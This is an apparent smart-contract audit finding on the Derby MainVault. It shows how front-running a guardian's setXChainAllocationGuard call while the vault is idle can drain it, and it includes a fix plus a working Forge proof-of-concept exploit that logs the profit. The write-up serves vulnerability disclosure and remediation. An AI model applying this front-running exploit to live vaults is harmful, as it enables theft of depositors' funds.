Bobface

medium

# `setXChainAllocationGuard` can be called in an too early state, leading to vault being drained

## Summary
The guardian can call [`MainVault.setXChainAllocationGuard`](https://github.com/sherlock-audit/2023-01-derby/blob/main/derby-yield-optimiser/contracts/MainVault.sol#L427) during the wrong contract state, either by accident or on purpose, which can lead to the vault being drained.

## Vulnerability Detail
[`MainVault`](https://github.com/sherlock-audit/2023-01-derby/blob/main/derby-yield-optimiser/contracts/MainVault.sol)'s reblancing is a multi-step process starting with a call to [`pushTotalUnderlyingToController`](https://github.com/sherlock-audit/2023-01-derby/blob/main/derby-yield-optimiser/contracts/MainVault.sol#L249) when a [certain amount of time](https://github.com/sherlock-audit/2023-01-derby/blob/main/derby-yield-optimiser/contracts/Vault.sol#L428) has passed since the last rebalancing. During the rebalancing process, the [`exchangeRate` is updated](https://github.com/sherlock-audit/2023-01-derby/blob/main/derby-yield-optimiser/contracts/MainVault.sol#L296) to include the yields generated since the last rebalancing. 

The guardian has the option to call the authorized method [`setXChainAllocationGuard`](https://github.com/sherlock-audit/2023-01-derby/blob/main/derby-yield-optimiser/contracts/MainVault.sol#L427) which manually sets certain values, including the `exchangeRate`. This method can be called, either by accident or on purpose, while the contract is in `State.Idle`.

## Impact
If this method is called while the vault is in `State.Idle`, the vault can be drained by frontrunning the guardian's transaction, by depositing a large amount of funds, such that `newly_deposited_funds * new_exchange_rate = all_funds_in_vault`.

Such a call could happen
- on purpose, e.g. a rogue or compromised guardian (out-of-scope since guardian is trusted).
- by accident, where the guardian calls this method too early in the rebalancing process, and the vault gets drained by a malicious third-party watching the mempool.

## Tool used

Manual Review

## Recommendation
Ensure the vault has started the rebalancing process before allowing calls to `setXChainAllocationGuard` (note the `require`):
```solidity
function setXChainAllocationGuard(
    uint256 _amountToSend,
    uint256 _exchangeRate,
    bool _receivingFunds
  ) external onlyGuardian {
    require(state != State.Idle, "Contract in Idle state");
    setXChainAllocationInt(_amountToSend, _exchangeRate, _receivingFunds);
}
```


## Code Snippet
The PoC is implemented as Forge test. To run it, 
1. [Install Foundry](https://github.com/foundry-rs/foundry#installation) if you have not already done so
2. In the `derby-yield-optimiser` directory, paste the following content into `foundry.toml`:
```toml
[profile.default]
src = 'contracts'
out = 'out'
libs = ['lib']

# See more config options https://github.com/foundry-rs/foundry/tree/master/config
```
3. Run `forge init --force --no-commit`. You can ignore the git error it displays.
4. Run `forge install openzeppelin/openzeppelin-contracts --no-commit`. Again, ignore the git error.
5. Paste the following content into `remappings.txt`:
```txt
hardhat/=lib/forge-std/src
@openzeppelin/=lib/openzeppelin-contracts/
```
6. Paste the Solidity code below into `test/Frontrun.t.sol`.
7. Finally, to run the PoC, execute `forge test -m testFrontrun -vv`. You should see this output:
```txt
Running 1 test for test/Frontrun.t.sol:FrontrunTest
[PASS] testFrontrun() (gas: 9850645)
Logs:
  Made a profit of 10000 tokens
```

Code:

```solidity
pragma solidity ^0.8.11;

import "../contracts/MainVault.sol";
import "../contracts/Interfaces/IController.sol";

import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract FrontrunTest is Test {
    ERC20 token;
    MainVault vault;

    User badUser;
    User someNormalUsers;

    function main() internal {
        // ENTRY POINT
        // Runs the main PoC after the environment has been set up.
        
        // Here, the bad user sees the call to `setXChainAllocationGuard`
        // pending in the mempool and frontruns it with a `deposit`.
        badUser.deposit(10_000 ether);

        // The call to `setXChainAllocationGuard` gets executed.
        vault.setXChainAllocationGuard(0, 2e18, false);

        // The remaining rebalancing process is executed as usual
        vault.receiveProtocolAllocations(new int256[](0));
        vault.rebalance();
        vault.sendRewardsToGame();

        // Immediately after, the bad user withdraws
        badUser.withdrawAll();
        badUser.print();
    }

    function testFrontrun() external {
        // Create the token
        token = new ERC20("TOKEN", "TOKEN");

        // Create the vault
        vault = new MainVault(
            "VAULT",
            "VAULT",
            18,
            1,
            address(this),
            address(0),
            address(this),
            address(token),
            1e18
        );

        // Set this contract as XProvider
        vault.setHomeXProvider(address(this));

        // Set this contract as guardian
        vault.setGuardian(address(this));

        // Create the users
        badUser = new User(token, vault);
        someNormalUsers = new User(token, vault);

        // Fund the vault.
        // These funds would be deposited by users.
        someNormalUsers.deposit(10_000 ether);

        // Execute main
        main();
    }

    // ----------------------------------------------
    // --- XProvider Mock
    function pushTotalUnderlying(
    uint256 _vaultNumber,
    uint32 _chainId,
    uint256 _underlying,
    uint256 _totalSupply,
    uint256 _withdrawalRequests
    ) external payable {}

    function pushRewardsToGame(
    uint256 _vaultNumber,
    uint32 _chainId,
    int256[] memory _rewards
  ) external payable {}

    // ----------------------------------------------
    // --- Controller Mock
    function latestProtocolId(uint256 _ETFnumber) external view returns (uint256) {
        return 0;
    }
}

contract User is Test {
    ERC20 token;
    MainVault vault;

    uint256 deposited;

    constructor(ERC20 _token, MainVault _vault) {
        token = _token;
        vault = _vault;

        token.approve(address(vault), type(uint256).max);
    }

    function deposit(uint256 amount) external {
        deal(address(token), address(this), amount);
        deposited += vault.deposit(amount, address(this));
    }

    function withdrawAll() external {
        vault.withdraw(vault.balanceOf(address(this)), address(this), address(this));
    }

    function print() external {
        uint256 balance = token.balanceOf(address(this));
        console.log("Made a profit of %s tokens", (balance - deposited) / 1e18);
    }
}
```